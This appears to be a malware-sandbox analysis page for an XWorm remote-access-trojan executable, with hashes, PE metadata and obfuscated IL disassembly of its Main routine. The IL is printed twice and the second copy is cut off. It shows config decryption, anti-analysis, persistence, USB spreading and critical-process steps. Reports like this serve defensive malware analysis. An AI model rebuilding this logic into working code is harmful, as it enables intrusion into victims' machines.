Malicious
Malicious

783e1ed2786f3501d3c7019c1a315709

PE Executable
|
MD5: 783e1ed2786f3501d3c7019c1a315709
|
Size: 122.37 KB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Medium

Hash
Hash Value
MD5
783e1ed2786f3501d3c7019c1a315709
Sha1
58b113114bf9ffba8bb7d07f2d15d2b452a32f92
Sha256
8bc544386ccb4eb630c4b8df83be99b28e8c0f1b45a17126178bcfb25ea668a6
Sha384
3a1f134925c0c888103a13fb731e06b1d411d32a6f0df2dd0f3ef46368dafe939435950f98e42ed26eeb3bbc1b80dedf
Sha512
35e75839564f0bfce4d800a55f8782ffe5933517899b3f534c258d37022c28086c1101a3a73cce0cff09d7b2de93513527906fd424268038282e8d08e3341637
SSDeep
3072:h7uuDoPtXWUuLtrkcq5MllnMCNFb0fsE6X3Jt:l+PRSLtTq54nMKb0EdJ
TLSH
65C35A4EF7459A84C35C6E778463504CE2E9DAA77C27F73F39C81EE19C23889858BA50

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

XWormClient.exe

Full Name

XWormClient.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

XWormClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XWormClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

643

Main IL

ldsfld System.Char[] Stub.Uninstaller::Ⴀ stloc.s V_36 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 520 ldc.i4 524 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.3 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 478 ldc.i4 455 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 96 ldc.i4.s 121 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Port ldc.i4.4 <null> stloc.s V_21 br.s IL_0024: ldloc.s V_21 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 401 ldc.i4 392 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 43 ldc.i4.s 50 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::SPL ldc.i4.0 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 469 ldc.i4 460 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 183 ldc.i4 174 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::USBNM ldc.i4.8 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 816 ldc.i4 809 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 550 ldc.i4 534 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.1 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 876 ldc.i4 885 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::InstallStr leave.s IL_018D: ldc.i4.4 dup <null> ldc.i4.s 17 ldc.i4.s 82 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 726 ldc.i4 723 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4 583 ldc.i4 550 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_018D: ldc.i4.4 ldc.i4.4 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴓ.Ⴈ::Ⴍ() brtrue.s IL_01CB: ldc.i4.0 ldc.i4.1 <null> stloc.s V_23 br.s IL_0190: ldloc.s V_23 ldc.i4.0 <null> ldc.i4 777 ldc.i4 780 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.0 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_020D: ldc.i4.1 dup <null> ldc.i4.s 36 ldc.i4.s 103 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_4 ldc.i4 834 ldc.i4 803 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_020D: ldc.i4.1 ldc.i4.1 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldc.i4.3 <null> ldc.i8 4 ldc.i4 1711526534 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 199 ldc.i4 217 call System.String My.MyComputer::ႤႷ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32) stloc.0 <null> ldc.i4.5 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 662 ldc.i4 762 call System.IO.DirectoryInfo My.MyComputer::ႷႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char) ldc.i4 378 ldc.i4 328 call System.String Stub.USB::ႨႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char) stloc.s V_5 ldc.i4.4 <null> stloc.s V_29 br.s IL_0262: ldloc.s V_29 ldloc.s V_5 ldc.i4 664 ldc.i4 641 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 156 ldc.i4 144 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brtrue.s IL_02EB: ldc.i4.3 ldc.i4.8 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.3 <null> br.s IL_02E4: stloc.s V_29 ldloc.s V_5 ldc.i4 413 ldc.i4 388 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 266 ldc.i4 293 call System.IO.DirectoryInfo Stub.USB::ႨႷ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.3 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldloc.0 <null> castclass System.String ldc.i4 180 ldc.i4 189 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0337: ldc.i4.7 ldc.i4.s 9 stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.7 <null> br.s IL_0330: stloc.s V_29 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 castclass System.IO.FileInfo ldc.i4 131 ldc.i4 166 call System.Void My.MyComputer::ႷႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char) ldc.i4 1000 ldc.i4.s 84 ldc.i4.s 80 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> castclass System.String ldsfld System.String Ⴓ.Ⴈ::Ⴃ ldc.i4 397 ldc.i4 452 call System.Byte[] Stub.Main::ႰႷ<System.String>(System.String,System.Int16,System.Char) ldc.i4 401 ldc.i4 407 call System.Void Stub.ProcessCritical::ႣႨ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_03B3: ldc.i4.0 dup <null> ldc.i4.s 83 ldc.i4.s 16 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_7 ldc.i4 981 ldc.i4 948 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_03B3: ldc.i4.0 ldc.i4.0 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 23 ldc.i8 4 ldc.i4 1711529791 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 642 ldc.i4 727 call System.Void My.MyComputer::ႤႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int16) ldc.i4.3 <null> stloc.s V_31 br.s IL_03B6: ldloc.s V_31 call System.String Stub.ClientSocket::UAC() ldc.i4 626 ldc.i4 639 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0438: ldc.i4.7 ldc.i4.8 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldc.i4.7 <null> br.s IL_0431: stloc.s V_31 ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 13 ldc.i8 15 ldc.i4 1711529778 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4.s 24 ldc.i4.s 53 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 18 ldc.i8 1 ldc.i4 1711529796 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 12 ldc.i8 13 ldc.i4 1711526805 ldc.i4.5 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4 252 ldc.i4 239 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 156 ldc.i4 186 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldc.i4.2 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 24 ldc.i8 2 ldc.i4 1711529840 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 254 ldc.i4 211 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 14 ldc.i8 13 ldc.i4 1711529799 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 13 ldc.i8 14 ldc.i4 1711526806 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4 981 ldc.i4 966 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 570 ldc.i4 540 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4 154 ldc.i4 136 call System.Diagnostics.Process Stub.Messages/ႭႰ::ႥႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int32,System.Int16) stloc.s V_8 ldloc.s V_8 isinst System.Diagnostics.Process ldc.i4 1009 ldc.i4 965 call System.Void My.MyComputer::ႷႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16) leave.s IL_060A: ldc.i4.1 dup <null> ldc.i4 230 ldc.i4 165 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_10 ldc.i4 970 ldc.i4 939 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_060A: ldc.i4.1 ldc.i4.1 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴀ() ldc.i4 886 ldc.i4 895 call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Char) ldc.i4 684 ldc.i4 763 call Microsoft.Win32.RegistryKey Stub.Messages/ႭႰ::ႥႥ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32) ldc.i4.2 <null> ldc.i8 15 ldc.i4 1711526488 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> ldc.i4 544 ldc.i4 565 call Microsoft.Win32.RegistryKey My.MyComputer::ႤႰ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 612 ldc.i4 585 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldloc.0 <null> isinst System.String ldc.i4 145 ldc.i4 146 call System.Void My.MyApplication::Ⴄ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 dup <null> ldc.i4.s 68 ldc.i4.7 <null> call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_11 ldc.i4.s 38 ldc.i4.s 71 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 ldc.i4.6 <null> stloc.s V_35 ldloc.s V_35 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 984 ldc.i4 996 call System.String My.MyComputer::ႤႼ(System.Environment/SpecialFolder,System.Int16,System.Char) ldc.i4.6 <null> ldc.i8 12 ldc.i4 1711526533 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4.s 81 ldc.i4.s 124 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldc.i4.s 17 ldc.i8 6 ldc.i4 1711527338 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4 772 ldc.i4 852 call System.String My.MyApplication::ႥႰ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Char) stloc.s V_12 ldloc.s V_36 ldc.i4.6 <null> ldelem.u2 <null> ldc.i4 61173 sub <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldc.i4.s 24 ldc.i8 8 ldc.i4 1711529105 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.s 9 ldc.i8 14 ldc.i4 1711527904 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4.7 <null> ldc.i8 2 ldc.i4 1711527331 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldc.i4.0 <null> ldloc.s V_12 castclass System.String stelem.ref <null> ldloc.s V_15 castclass System.Object[] stloc.s V_16 ldloc.s V_16 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 isinst System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0808: stloc.s V_18 ldloc.s V_16 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldc.i4.s 16 ldc.i8 8 ldc.i4 1711527363 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 9 ldc.i8 8 ldc.i4 1711527402 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldc.i4.4 <null> ldc.i8 3 ldc.i4 1711527910 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.8 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 11 ldc.i8 2 ldc.i4 1711526606 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.3 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldnull <null> stloc.s V_18 ldloc.s V_12 isinst System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴓ.Ⴈ::Ⴃ leave.s IL_0900: ldc.i4.6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0900: ldc.i4.6 ldc.i4.6 <null> stloc.s V_38 ldloc.s V_38 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.USB::USBStart() call System.Void Ⴓ.Ⴈ::Ⴐ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_095B: ldc.i4.5 ldc.i4.7 <null> stloc.s V_38 br.s IL_0903: ldloc.s V_38 ldc.i4.5 <null> br.s IL_0957: stloc.s V_38 call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldc.i4.4 <null> stloc.s V_38 br IL_0903: ldloc.s V_38 ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

Module Name

XWormClient.exe

Full Name

XWormClient.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

XWormClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XWormClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

643

Main IL

ldsfld System.Char[] Stub.Uninstaller::Ⴀ stloc.s V_36 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 520 ldc.i4 524 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.3 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 478 ldc.i4 455 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 96 ldc.i4.s 121 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Port ldc.i4.4 <null> stloc.s V_21 br.s IL_0024: ldloc.s V_21 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 401 ldc.i4 392 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 43 ldc.i4.s 50 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::SPL ldc.i4.0 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 469 ldc.i4 460 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 183 ldc.i4 174 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::USBNM ldc.i4.8 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 816 ldc.i4 809 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 550 ldc.i4 534 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.1 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 876 ldc.i4 885 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::InstallStr leave.s IL_018D: ldc.i4.4 dup <null> ldc.i4.s 17 ldc.i4.s 82 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 726 ldc.i4 723 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4 583 ldc.i4 550 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_018D: ldc.i4.4 ldc.i4.4 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴓ.Ⴈ::Ⴍ() brtrue.s IL_01CB: ldc.i4.0 ldc.i4.1 <null> stloc.s V_23 br.s IL_0190: ldloc.s V_23 ldc.i4.0 <null> ldc.i4 777 ldc.i4 780 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.0 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_020D: ldc.i4.1 dup <null> ldc.i4.s 36 ldc.i4.s 103 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_4 ldc.i4 834 ldc.i4 803 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_020D: ldc.i4.1 ldc.i4.1 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldc.i4.3 <null> ldc.i8 4 ldc.i4 1711526534 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 199 ldc.i4 217 call System.String My.MyComputer::ႤႷ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32) stloc.0 <null> ldc.i4.5 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 662 ldc.i4 762 call System.IO.DirectoryInfo My.MyComputer::ႷႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char) ldc.i4 378 ldc.i4 328 call System.String Stub.USB::ႨႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char) stloc.s V_5 ldc.i4.4 <null> stloc.s V_29 br.s IL_0262: ldloc.s V_29 ldloc.s V_5 ldc.i4 664 ldc.i4 641 call System.String 